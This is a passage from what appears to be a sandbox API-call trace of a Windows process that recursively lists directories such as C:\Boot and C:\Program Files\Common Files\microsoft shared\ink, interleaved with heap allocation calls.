ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.445] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0213.445] GetProcessHeap () returned 0xc10000 [0213.445] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0213.446] GetProcessHeap () returned 0xc10000 [0213.446] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.446] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.446] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.446] GetProcessHeap () returned 0xc10000 [0213.446] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.446] GetProcessHeap () returned 0xc10000 [0213.446] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.447] GetProcessHeap () returned 0xc10000 [0213.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.447] GetProcessHeap () returned 0xc10000 [0213.447] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.447] GetProcessHeap () returned 0xc10000 [0213.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.447] GetProcessHeap () returned 0xc10000 [0213.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc82d90 | out: hHeap=0xc10000) returned 1 [0213.700] GetProcessHeap () returned 0xc10000 [0213.700] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33f8fd0 [0213.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.715] GetProcessHeap () returned 0xc10000 [0213.715] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33f8fd0 | out: hHeap=0xc10000) returned 1 [0213.715] GetProcessHeap () returned 0xc10000 [0213.715] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33f8fd0 [0213.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.721] GetProcessHeap () returned 0xc10000 [0213.721] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33f8fd0 | out: hHeap=0xc10000) returned 1 [0213.721] GetProcessHeap () returned 0xc10000 [0213.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33f8fd0 [0213.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows PowerShell.evtx", cAlternateFileName="咊8ÂⶀÆ\x80")) returned 0xffffffff [0213.722] GetProcessHeap () returned 0xc10000 [0213.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33f8fd0 | out: hHeap=0xc10000) returned 1 [0213.722] GetProcessHeap () returned 0xc10000 [0213.722] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33f8fd0 [0213.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.722] GetProcessHeap () returned 0xc10000 [0213.722] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0213.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.723] GetProcessHeap () returned 0xc10000 [0213.723] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0213.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.724] GetProcessHeap () returned 0xc10000 [0213.724] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0213.724] GetProcessHeap () returned 0xc10000 [0213.724] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0213.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0213.725] GetProcessHeap () returned 0xc10000 [0213.725] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0213.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.726] GetProcessHeap () returned 0xc10000 [0213.726] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0213.726] GetProcessHeap () returned 0xc10000 [0213.727] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0213.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0213.887] GetProcessHeap () returned 0xc10000 [0213.887] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.888] GetProcessHeap () returned 0xc10000 [0213.888] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.888] GetProcessHeap () returned 0xc10000 [0213.889] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.889] GetProcessHeap () returned 0xc10000 [0213.889] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.889] GetProcessHeap () returned 0xc10000 [0213.889] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0213.890] GetProcessHeap () returned 0xc10000 [0213.890] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.890] GetProcessHeap () returned 0xc10000 [0213.890] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.891] GetProcessHeap () returned 0xc10000 [0213.891] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.891] GetProcessHeap () returned 0xc10000 [0213.891] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.892] GetProcessHeap () returned 0xc10000 [0213.892] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.892] GetProcessHeap () returned 0xc10000 [0213.892] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0213.893] GetProcessHeap () returned 0xc10000 [0213.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.893] GetProcessHeap () returned 0xc10000 [0213.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.893] GetProcessHeap () returned 0xc10000 [0213.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.893] GetProcessHeap () returned 0xc10000 [0213.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0213.906] GetProcessHeap () returned 0xc10000 [0213.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.906] GetProcessHeap () returned 0xc10000 [0213.906] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.908] GetProcessHeap () returned 0xc10000 [0213.908] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.908] GetProcessHeap () returned 0xc10000 [0213.908] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.908] GetProcessHeap () returned 0xc10000 [0213.908] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.908] GetProcessHeap () returned 0xc10000 [0213.908] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.909] GetProcessHeap () returned 0xc10000 [0213.909] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.909] GetProcessHeap () returned 0xc10000 [0213.909] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.909] GetProcessHeap () returned 0xc10000 [0213.909] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.909] GetProcessHeap () returned 0xc10000 [0213.909] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.918] GetProcessHeap () returned 0xc10000 [0213.918] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.919] GetProcessHeap () returned 0xc10000 [0213.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0213.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.919] GetProcessHeap () returned 0xc10000 [0213.919] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.919] GetProcessHeap () returned 0xc10000 [0213.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, 